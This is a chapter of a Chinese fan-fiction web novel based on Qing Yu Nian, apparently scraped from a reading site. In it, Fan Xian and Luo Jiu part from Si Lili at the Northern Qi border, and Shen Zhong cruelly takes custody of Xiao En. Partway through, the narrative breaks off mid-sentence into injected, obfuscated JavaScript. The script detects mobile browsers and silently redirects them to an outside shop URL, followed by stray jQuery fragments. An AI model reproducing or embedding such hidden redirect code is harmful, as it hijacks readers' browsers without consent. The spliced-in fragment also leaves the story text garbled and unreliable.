82.雄关漫道笑里藏刀

作品:《从庆余年开始,了我意难平

    转眼间,北齐已至,雄关当前。


    范闲和洛九在马车前与司理理话别。


    小范大人递了一个纸包给司理理:“我想了想,还是把它给你,大家相交一场,总算有几分真心。”


    司理理双手接过那纸包,拆开一看,面色大变!


    那是一种名叫红袖招之毒的解药,此毒下在司理理身上,毒的却是与她有肌肤之亲的人。其用心之险恶,用计之毒辣,令人毛骨悚然。


    司理理勉强把纸包收入怀中,深深一礼:“多谢大人!”


    范闲瞥了一眼旁边探着头想看是什么的洛九,笑了一下:“不客气,我这也是怕有天一不小心毒到了洛九,那可怎么办。”


    司理理面色微红,嗔了范闲一眼:“范公子说笑了!”


    旁边的洛九莫名其妙,搞不懂他们在说什么。见两人都没有透露的意思,他瞪了范闲一眼,也从怀中掏出一个信封递给了司理理:“我知道北齐原是你家,但如果有一天,你遇上了什么难事,往这个地方送一封信,或许能帮到你。”


    洛九给了司理理一个死信箱地址,也间接透露了,他在北齐亦有安排。司理理接过那张信封,却没道谢,而是对洛九说:“我身如浮萍,不知能帮到你什么。不过曾经结草衔环相报的诺言,我不会忘。希望,希望我们都不要有需要对方帮忙的那一天吧!”


    “理理姑娘——”洛九摇头,却被司理理打断,“我的真名,叫李离思。”


    也许是怕再无相见之日了吧,司理理将她的来历对两人和盘托出。她是庆国皇族遗脉,后来宫斗政变皇室血流成河,她和弟弟逃离庆国,被齐国皇室收养,又为了弟弟回到庆国当了密探,这才有了醉仙居花魁司理理。


    “此次回到齐国,或许我终于能有一丝力量保护弟弟,保护,我想保护的人。”


    司理理敛衽为礼,“希望再见之日,两位一切安好。”


    “保重,范公子。”


    “保重,洛九。”


    范闲看了一眼司理理,又看了一眼洛九,挑眉笑了一下,抱拳回礼:“保重!”


    洛九也笑了:“保重,离思!”他甚至没有回礼,只是冲她扬了扬手,就像曾经离开京都时,和范闲道别时那样。


    两人转身离去,拐过转角,范闲用胳膊肘撞了一下洛九,坏笑:“你可以啊,兄弟!”


    洛九这次懂了范闲是什么意思,不过他摇摇头,眼里含着笑意:“是你想错了,安之。”


    在小范大人眼中,理理姑娘对两人如此区别对待,正说明了她对洛九的情意,洛九这个傻子,还大喇喇叫人家离思,真不知道是没开窍还是太会撩。


    而在洛九看来,男女之间不止有情,更有义,只有朋友之间,才无需言谢,只有心中有义,才会如此坦荡,他和离思,自有默契,安之这个傻子,才是搞错的那个!


    这一切暗流涌动都在水面之下,水面之上,波澜不兴。如今分别在即,暗流究竟涌向何方,似乎也不是那么重要了。


    至于司理理到底是怎么想的,或许,连她自己都不知道!


    肖恩的囚车前,范闲吱呀一声推开了车门,示意车里的王启年先出去,“前辈,北齐到了!”


    肖恩眼睛未睁,头也不抬:“这可是你要杀我的最后机会了。”


    “你藏着的秘密是什么呀?”


    “这也是你最后问我了。”


    范闲蹲在地上,还是有些疑惑:“为什么要问我澹州的事呢?你跟澹州,有什么牵连?”


    肖恩发出一连串低沉的笑声,没有回答,反而反问道:“那个红衣服的小子是什么人?”


    范闲不意肖恩会问到洛九,想了想道:“天外仙人!”他脸上带着狡黠的笑意跳下囚车,“肖老前辈,不如咱俩打个赌,这不会是我最后一次问你。”


    肖恩在范闲转过身后睁开眼睛,眼中精芒暴涨!他从缝隙中看见不远处站着的洛九,陷入了沉思。


    使团这边一切准备停当,只等入关,可齐国关卡处却无人接待。虽然高台之上站满了士兵,却没有一个话事人能够做主。


    范闲领着王启年和高达站在关隘之前,一脸莫名:“人呢?”


    洛九原本是在马车里等,因为他此行并没有任何身份,小范大人说他不便露面。可是等来等去也不见马车前行,洛九也感到莫名其妙,忍不住跳下马车,向前走了几步,往上眺望了一下。


    这一抬头不要紧,出事了。


    “红衣杀神啊!!!”


    “杀神来了!!!”


    高台上传来几声高呼,齐国关隘转眼间就乱了起来,号角大作,战鼓齐鸣,兵士们迅速反应过来,执枪列队,拉弓搭箭,弓如满月,对准了高台下的红衣人。


    洛九:“……”真不是来杀你们的。


    范闲:“……”都说了不让你出来。


    号角声和战鼓声,惊醒了旁边马车里睡得正香的沈重。他原本是想给庆国使团一个下马威的,这才令边关将士保持沉默,让他们干等着。谁知,出现了一个最不该出现在此处的人,演砸了。


    沈重匆匆穿好衣服提上鞋,整理了一下衣领,从马车中走了出来。他本来想当着南庆正使范闲的面提鞋,暗示轻蔑之意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414931|131781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可洛九当面,他做不到。


    “洛将军。”沈重走到了红衣负手的洛九面前,面色带了一丝凝重。庆国怎会派他来此,不想和谈了吗?可是大齐,已经打不动了!


    “哦,沈大人。”无需介绍,洛九自然也认得沈重。毕竟他差点就要跑到上京城去救言冰云了,最大的敌人长什么样,当然得清楚。


    “洛将军来此,是南庆打算撕毁合约了吗?”沈重越是心中沉重,越要笑嘻嘻把话直白地问出口。


    “怎会,请允许我向你介绍一下,我大庆代表和平而来的使团正使,范闲范大人!”洛九也笑,单手抬起,介绍了范闲,也把主场转交给了范闲。


    就这样,两边预设的见面准备几乎完全被打乱,猝不及防而手忙脚乱地开始了交接。


    本来沈重还请了宫里积年的老嬷嬷来接司理理,最好借这些趾高气扬的嬷嬷之口羞辱一下这位范诗仙,可没成想,刚才战鼓齐鸣,兵士们的铁血之气惊吓到了众位久居深宫的嬷嬷,现在她们躲在关里不敢出来了。无奈,沈重只好挥手让一列士兵接走了司理理。司理理与范闲洛九错身而过,只用眼神互道了珍重。


    在交接肖恩的时候,沈重才终于找回了一点场子。


    两边盖章画押后,肖恩正式交由北齐护送。只见这位锦衣卫镇抚使一边脸上笑意融融地躬身说着“肖大人叱咤两国时,沈某还不入流”“见到肖大人真是三生有幸”,一边毫不留情一脚踢碎了肖恩的膝盖骨,拧断了他的双掌,将他一路拖行,押上了铁制的囚车,末了还说一句“锦衣卫特地为肖大人准备了铁制马车,这份尊荣,无人能及。”


    这幅笑面虎的做派,和肖恩被拖在地上前行时留下的两道长长血痕,让高达王启年等人皆是面皮抽动心生寒意,让范闲也没了笑影。


    沈重则回身走到洛九面前,掏出手帕擦了擦手上的污痕,凑近了这位美艳无双的将军。他笑容满面,眼底却涌动着浓郁的恶意。


    “真想,对洛将军也这样做啊!”


    洛九很少在一个人身上感受到这样重的杀机和敌意,强烈的第六感让他心中警铃大作。越是这般,他也笑意越深,甚至毫不设防地伸出双手到沈重面前。


    “来。”


    锦衣卫镇抚使仔细端详着面前这双细腻修长,白玉般的双手,已经想象到了它们被寸寸敲断的样子,低笑了一声:“总有一天。”他凑得极近,几乎与洛九的耳畔相贴,湿热的气息喷在他耳垂上,意味深长地悄声说,“来日,方长。”


    两人仿佛在比赛一般,越笑越甜,直到小范大人上前,一把将洛九护在身后,面沉如水。